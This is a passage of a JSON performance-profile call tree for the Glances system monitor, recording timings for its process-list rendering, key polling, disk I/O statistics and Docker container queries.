0.002070,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001996,\"attributes\": {\"cProgramlistPlugin\": 0.0019962909937021323, \"l472\": 0.0019962909937021323},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001996,\"attributes\": {\"cProgramlistPlugin\": 0.0019962909937021323, \"l467\": 0.0019962909937021323},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002019,\"attributes\": {\"cProgramlistPlugin\": 0.0020194570024614222, \"l505\": 0.0020194570024614222},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002019,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002019,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.001992,\"attributes\": {\"cProgramlistPlugin\": 0.001992470002733171, \"l378\": 0.001992470002733171},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001992,\"attributes\": {\"cProgramlistPlugin\": 0.001992470002733171, \"l1130\": 0.001992470002733171},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.003921,\"attributes\": {\"cProgramlistPlugin\": 0.00199484499898972, \"l360\": 0.003920819995983038, \"cProcesslistPlugin\": 0.0019259749969933182},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.003921,\"attributes\": {\"cProgramlistPlugin\": 0.00199484499898972, \"l340\": 0.003920819995983038, \"cProcesslistPlugin\": 0.0019259749969933182},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.003921,\"attributes\": {\"cProgramlistPlugin\": 0.00199484499898972, \"l1251\": 0.003920819995983038, \"cProcesslistPlugin\": 0.0019259749969933182},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001926,\"attributes\": {\"l478\": 0.0019259749969933182},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001926,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001926,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.002066,\"attributes\": {\"cProcesslistPlugin\": 0.00206568500288995, \"l375\": 0.00206568500288995},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002066,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002066,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001939,\"attributes\": {\"cProcesslistPlugin\": 0.0019392399990465492, \"l309\": 0.0019392399990465492},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001939,\"attributes\": {\"cProcesslistPlugin\": 0.0019392399990465492, \"l856\": 0.0019392399990465492},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001939,\"attributes\": {\"cProcesslistPlugin\": 0.0019392399990465492, \"l965\": 0.0019392399990465492},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001939,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001985,\"attributes\": {\"cProcesslistPlugin\": 0.0019851230026688427, \"l324\": 0.0019851230026688427},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001985,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001985,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002079,\"attributes\": {\"cProcesslistPlugin\": 0.002079026999126654, \"l360\": 0.002079026999126654},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002079,\"attributes\": {\"cProcesslistPlugin\": 0.002079026999126654, \"l340\": 0.002079026999126654},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002079,\"attributes\": {\"cProcesslistPlugin\": 0.002079026999126654, \"l1251\": 0.002079026999126654},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002079,\"attributes\": {\"l478\": 0.002079026999126654},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002079,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001921,\"attributes\": {\"cProcesslistPlugin\": 0.0019212260012864135, \"l509\": 0.0019212260012864135},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001921,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.003999,\"attributes\": {\"cProcesslistPlugin\": 0.003999029999249615, \"l360\": 0.003999029999249615},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.003999,\"attributes\": {\"cProcesslistPlugin\": 0.003999029999249615, \"l340\": 0.001999754000280518, \"l339\": 0.0019992759989690967},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.001999,\"attributes\": {\"l242\": 0.0019992759989690967},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000199947389774, \"l325\": 0.0020000199947389774},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000199947389774, \"l885\": 0.0020000199947389774},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003169993287884, \"l375\": 0.0020003169993287884},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999419000640046, \"l429\": 0.001999419000640046},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001088003453333, \"l360\": 0.002001088003453333},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001088003453333, \"l340\": 0.002001088003453333},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001088003453333, \"l1251\": 0.002001088003453333},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002001,\"attributes\": {\"l445\": 0.002001088003453333},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"__display_left\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020001949960715137, \"l819\": 0.0020001949960715137},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020001949960715137, \"l1094\": 0.0020001949960715137},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020001949960715137, \"l1054\": 0.0020001949960715137},\"children\": [{\"identifier\": \"display_stats_with_current_size\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001016\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020001949960715137, \"l1018\": 0.0020001949960715137},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.102216,\"attributes\": {\"cGlancesCursesStandalone\": 0.10221598100179108, \"l291\": 0.10221598100179108},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.102216,\"attributes\": {\"cGlancesCursesStandalone\": 0.10221598100179108, \"l260\": 0.10221598100179108},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.102216,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.102216,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100428,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042838600202231, \"l1202\": 0.10042838600202231},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100428,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100428,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100551,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055115199793363, \"l291\": 0.10055115199793363},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100551,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055115199793363, \"l260\": 0.10055115199793363},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100551,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100551,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100458,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045787000126438, \"l1202\": 0.10045787000126438},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100458,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100458,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100457,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045657999580726, \"l291\": 0.10045657999580726},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100457,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045657999580726, \"l260\": 0.10045657999580726},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100457,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100457,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100306,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003064379983698, \"l1202\": 0.1003064379983698},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100306,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100306,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100528,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052812100184383, \"l291\": 0.10052812100184383},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100528,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052812100184383, \"l260\": 0.10052812100184383},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100528,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100528,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100379,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037917199952062, \"l1202\": 0.10037917199952062},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100379,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100379,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100391,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039119200519053, \"l291\": 0.10039119200519053},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100391,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039119200519053, \"l260\": 0.10039119200519053},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100391,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100391,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100438,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043751099874498, \"l1202\": 0.10043751099874498},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100438,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100438,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100458,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045826599525753, \"l291\": 0.10045826599525753},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100458,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045826599525753, \"l260\": 0.10045826599525753},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100458,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100458,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100301,\"attributes\": {\"cGlancesCursesStandalone\": 0.10030099600407993, \"l1202\": 0.10030099600407993},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100301,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100301,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100540,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053997399518266, \"l291\": 0.10053997399518266},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100540,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053997399518266, \"l260\": 0.10053997399518266},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100540,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100540,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100496,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049569100374356, \"l1202\": 0.10049569100374356},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100496,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100496,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100437,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043723900162149, \"l291\": 0.10043723900162149},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100437,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043723900162149, \"l260\": 0.10043723900162149},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100437,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100437,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100456,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045612099929713, \"l1202\": 0.10045612099929713},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100456,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100456,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.089575,\"attributes\": {\"cGlancesStats\": 0.08957461699901614, \"l287\": 0.08957461699901614},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.089575,\"attributes\": {\"cGlancesStats\": 0.08957461699901614, \"l575\": 0.08957461699901614},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.089575,\"attributes\": {\"l571\": 0.08957461699901614},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.089575,\"attributes\": {\"cGlancesStats\": 0.08957461699901614, \"l274\": 0.06925338500150247, \"l275\": 0.020321231997513678},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003164,\"attributes\": {\"cDiskioPlugin\": 0.0031642769972677343, \"l1278\": 0.0031642769972677343},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003164,\"attributes\": {\"l1295\": 0.0031642769972677343},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003164,\"attributes\": {\"cDiskioPlugin\": 0.0031642769972677343, \"l114\": 0.0031642769972677343},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003164,\"attributes\": {\"cDiskioPlugin\": 0.0031642769972677343, \"l1351\": 0.0031642769972677343},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003164,\"attributes\": {\"cDiskioPlugin\": 0.0031642769972677343, \"l148\": 0.001387160002195742, \"l158\": 0.0017771169950719923},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001387,\"attributes\": {\"l2129\": 0.001387160002195742},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001387,\"attributes\": {\"l1106\": 0.001387160002195742},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001387,\"attributes\": {\"l1051\": 0.001387160002195742},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001387,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001777,\"attributes\": {\"cDiskioPlugin\": 0.0017771169950719923, \"l1058\": 0.0017771169950719923},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.001777,\"attributes\": {\"cDiskioPlugin\": 0.0017771169950719923, \"l1048\": 0.0017771169950719923},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001777,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001999,\"attributes\": {\"cDiskioPlugin\": 0.001998525003727991, \"l193\": 0.001998525003727991},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cDiskioPlugin\": 0.001998525003727991, \"l874\": 0.001998525003727991},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.060208,\"attributes\": {\"cContainersPlugin\": 0.0025843889961834066, \"l1278\": 0.06020772599731572, \"cProcesscountPlugin\": 0.05762333700113231},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.060208,\"attributes\": {\"l1295\": 0.06020772599731572},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002584,\"attributes\": {\"cContainersPlugin\": 0.0025843889961834066, \"l252\": 0.0025843889961834066},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002584,\"attributes\": {\"l256\": 0.0025843889961834066},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002584,\"attributes\": {\"l248\": 0.0025843889961834066},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002584,\"attributes\": {\"cDockerExtension\": 0.0025843889961834066, \"l260\": 0.0025843889961834066},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002584,\"attributes\": {\"cContainerCollection\": 0.0025843889961834066, \"l1009\": 0.0025843889961834066},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002584,\"attributes\": {\"cAPIClient\": 0.0025843889961834066, \"l212\": 0.0025843889961834066},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002584,\"attributes\": {\"cAPIClient\": 0.0025843889961834066, \"l44\": 0.0025843889961834066},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002584,\"attributes\": {\"cAPIClient\": 0.0025843889961834066, \"l246\": 0.0025843889961834066},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002584,\"attributes\": {\"cAPIClient\": 0.0025843889961834066, \"l602\": 0.0025843889961834066},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002584,\"attributes\": {\"cAPIClient\": 0.0025843889961834066, \"l589\": 0.0025843889961834066},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002584,\"attributes\": {\"cAPIClient\": 0.0025843889961834066, \"l703\": 0.0025843889961834066},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002584,\"attributes\": {\"cUnixHTTPAdapter\": 0.0025843889961834066, \"l644\": 0.0025843889961834066},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002584,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0025843889961834066, \"l787\": 0.0025843889961834066},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002584,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0025843889961834066, \"l534\": 0.0025843889961834066},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002584,\"attributes\": {\"cUnixHTTPConnection\": 0.0025843889961834066, \"l571\": 0.0025843889961834066},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002584,\"attributes\": {\"cUnixHTTPConnection\": 0.0025843889961834066, \"l1430\": 0.0025843889961834066},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002584,\"attributes\": {\"cHTTPResponse\": 0.0025843889961834066, \"l331\": 0.0025843889961834066},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002584,\"attributes\": {\"cHTTPResponse\": 0.0025843889961834066, \"l292\": 0.0025843889961834066},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002584,\"attributes\": {\"cSocketIO\": 0.0025843889961834066, \"l725\": 0.0025843889961834066},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002584,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002584,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": 